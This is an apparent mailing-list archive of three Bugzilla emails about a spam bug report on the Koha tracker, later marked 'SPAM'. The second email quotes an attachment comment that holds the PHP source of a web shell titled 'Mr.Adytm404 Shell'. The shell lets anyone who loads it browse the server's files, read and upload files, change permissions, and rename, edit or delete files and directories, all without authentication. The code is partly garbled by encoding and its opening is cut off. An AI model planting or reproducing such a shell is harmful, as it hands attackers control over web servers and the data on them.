Mr.Adytm404 Shell

From bugzilla-daemon@bugs.koha-community.org Sun Oct 8 12:05:37 2017 From: bugzilla-daemon@bugs.koha-community.org To: koha-bugs@lists.koha-community.org Subject: [Koha-bugs] [Bug 19432] New: asasaasasd Date: Sun, 08 Oct 2017 10:05:32 +0000 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============8592121824349846900==" --===============8592121824349846900== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=19432 Bug ID: 19432 Summary: asasaasasd Change sponsored?: --- Product: Koha Version: 17.05 Hardware: All OS: All Status: NEW Severity: normal Priority: P5 - low Component: Authentication Assignee: koha-bugs@lists.koha-community.org Reporter: ogyaadyatma@gmail.com QA Contact: testopia@bugs.koha-community.org CC: dpavlin@rot13.org Created attachment 67819 --> https://bugs.koha-community.org/bugzilla3/attachment.cgi?id=67819&action=edit asdasdasd asasasasasasas -- You are receiving this mail because: You are watching all bug changes. You are the assignee for the bug. --===============8592121824349846900==-- From bugzilla-daemon@bugs.koha-community.org Sun Oct 8 12:09:07 2017 From: bugzilla-daemon@bugs.koha-community.org To: koha-bugs@lists.koha-community.org Subject: [Koha-bugs] [Bug 19432] asasaasasd Date: Sun, 08 Oct 2017 10:08:45 +0000 Message-ID: In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============2612189091222623572==" --===============2612189091222623572== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=3D19432 --- Comment #1 from adytm --- Comment on attachment 67819 --> https://bugs.koha-community.org/bugzilla3/attachment.cgi?id=3D67819 asdasdasd $value){ $_POST[$key] =3D stripslashes($value); } } echo ' 3D"Hasil

Mr.Adytm404 Shell

'; if(isset($_GET['filesrc'])){ echo "

Path : '; if(isset($_GET['path'])){ $path =3D $_GET['path']; }else{ $path =3D getcwd(); } $path =3D str_replace('\\','/',$path); $paths =3D explode('/',$path); foreach($paths as $id=3D>$pat){ if($pat =3D=3D '' && $id =3D=3D 0){ $a =3D true; echo '/'; continue; } if($pat =3D=3D '') continue; echo ''.$pat.'/'; } echo '

'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Upload Berhasil
'; }else{ echo 'Upload Gagal
'; } } echo '

Current File : "; echo $_GET['filesrc']; echo '

'; echo('

'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'

'); }elseif(isset($_GET['option']) && $_POST['opt'] !=3D 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] =3D=3D 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Berhasil
'; }else{ echo 'Change Permission Gagal
'; } } echo ''; }elseif($_POST['opt'] =3D=3D 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Ganti Nama Berhasil
'; }else{ echo 'Ganti Nama Gagal
'; } $_POST['name'] =3D $_POST['newname']; } echo ''; }elseif($_POST['opt'] =3D=3D 'edit'){ if(isset($_POST['src'])){ $fp =3D fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Berhasil Edit File
'; }else{ echo 'Gagal Edit File
'; } fclose($fp); } echo '

'.htmlspecialchars(file_get_contents($_POST['path'])).'</textare=
a><br
/>
<input type=3D"hidden" name=3D"path" value=3D"'.$_POST['path'].'">
<input type=3D"hidden" name=3D"opt" value=3D"edit">
<input type=3D"submit" value=3D"Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] =3D=3D 'delete'){
if($_POST['type'] =3D=3D 'dir'){
if(rmdir($_POST['path'])){
echo '<font color=3D"white">Directory Terhapus</font><br/>';
}else{
echo '<font color=3D"red">Directory Gagal Terhapus                           =
   =20
                                                                             =
 =20
                                                                             =
 =20
                                                                             =
 =20
             </font><br/>';
}
}elseif($_POST['type'] =3D=3D 'file'){
if(unlink($_POST['path'])){
echo '<font color=3D"white">File Terhapus</font><br/>';
}else{
echo '<font color=3D"red">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir =3D scandir($path);
echo '<div id=3D"content"><table width=3D"700" border=3D"0" cellpadding=3D"3"
cellspacing=3D"1" align=3D"center">
<tr class=3D"first">
<td><center>Name</peller></center></td>
<td><center>Size</peller></center></td>
<td><center>Permission</peller></center></td>
<td><center>Modify</peller></center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir =3D=3D '.' || $dir =3D=3D '..') continue;
echo '<tr>
<td><a href=3D"?path=3D'.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color=3D"blue">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color=3D"blue">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>=
';

echo '</center></td>
<td><center><form method=3D"POST" action=3D"?option&path=3D'.$path.'">
<select name=3D"opt">
<option value=3D"">Select</option>
<option value=3D"delete">Delete</option>
<option value=3D"chmod">Chmod</option>
<option value=3D"rename">Rename</option>
</select>
<input type=3D"hidden" name=3D"type" value=3D"dir">
<input type=3D"hidden" name=3D"name" value=3D"'.$dir.'">
<input type=3D"hidden" name=3D"path" value=3D"'.$path.'/'.$dir.'">
<input type=3D"submit" value=3D">">
</form></center></td>
</tr>';
}
echo '<tr class=3D"first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size =3D filesize($path.'/'.$file)/1024;
$size =3D round($size,3);
if($size >=3D 1024){
$size =3D round($size/1024,2).' MB';
}else{
$size =3D $size.' KB';
}

echo '<tr>
<td><a href=3D"?filesrc=3D'.$path.'/'.$file.'&path=3D'.$path.'">'.$file.'</a>=
</td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color=3D"blue">';
elseif(!is_readable($path.'/'.$file)) echo '<font color=3D"blue">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo
'</font>';
echo '</center></td>
<td><center><form method=3D"POST" action=3D"?option&path=3D'.$path.'">
<select name=3D"opt">
<option value=3D"">Select</option>
<option value=3D"delete">Delete</option>
<option value=3D"chmod">Chmod</option>
<option value=3D"rename">Rename</option>
<option value=3D"edit">Edit</option>
</select>
<input type=3D"hidden" name=3D"type" value=3D"file">
<input type=3D"hidden" name=3D"name" value=3D"'.$file.'">
<input type=3D"hidden" name=3D"path" value=3D"'.$path.'/'.$file.'">
<input type=3D"submit" value=3D">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/>Mr.Adytm404 - Error Violence</center>
</body>
</html>';
function perms($file){
$perms =3D fileperms($file);

if (($perms & 0xC000) =3D=3D 0xC000) {
// Socket
$info =3D 's';
} elseif (($perms & 0xA000) =3D=3D 0xA000) {
// Symbolic Link
$info =3D 'l';
} elseif (($perms & 0x8000) =3D=3D 0x8000) {
// Regular
$info =3D '-';
} elseif (($perms & 0x6000) =3D=3D 0x6000) {
// Block special
$info =3D 'b';
} elseif (($perms & 0x4000) =3D=3D 0x4000) {
// Directory
$info =3D 'd';
} elseif (($perms & 0x2000) =3D=3D 0x2000) {
// Character special
$info =3D 'c';
} elseif (($perms & 0x1000) =3D=3D 0x1000) {
// FIFO pipe
$info =3D 'p';
} else {
// Unknown
$info =3D 'u';
}

// Owner
$info .=3D (($perms & 0x0100) ? 'r' : '-');
$info .=3D (($perms & 0x0080) ? 'w' : '-');
$info .=3D (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .=3D (($perms & 0x0020) ? 'r' : '-');
$info .=3D (($perms & 0x0010) ? 'w' : '-');
$info .=3D (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .=3D (($perms & 0x0004) ? 'r' : '-');
$info .=3D (($perms & 0x0002) ? 'w' : '-');
$info .=3D (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>

--=20
You are receiving this mail because:
You are the assignee for the bug.
You are watching all bug changes.

--===============2612189091222623572==--

From bugzilla-daemon@bugs.koha-community.org Sun Oct  8 12:14:14 2017
From: bugzilla-daemon@bugs.koha-community.org
To: koha-bugs@lists.koha-community.org
Subject: [Koha-bugs] [Bug 19432] SPAM
Date: Sun, 08 Oct 2017 10:14:11 +0000
Message-ID: <bug-19432-70-fXDOb2L9lD@https.bugs.koha-community.org/bugzilla3/>
In-Reply-To: <bug-19432-70@https.bugs.koha-community.org/bugzilla3/>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="===============2016022093957645191=="

--===============2016022093957645191==
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=19432

Katrin Fischer <katrin.fischer@bsz-bw.de> changed:

-- 
You are receiving this mail because:
You are the assignee for the bug.
You are watching all bug changes.

--===============2016022093957645191==--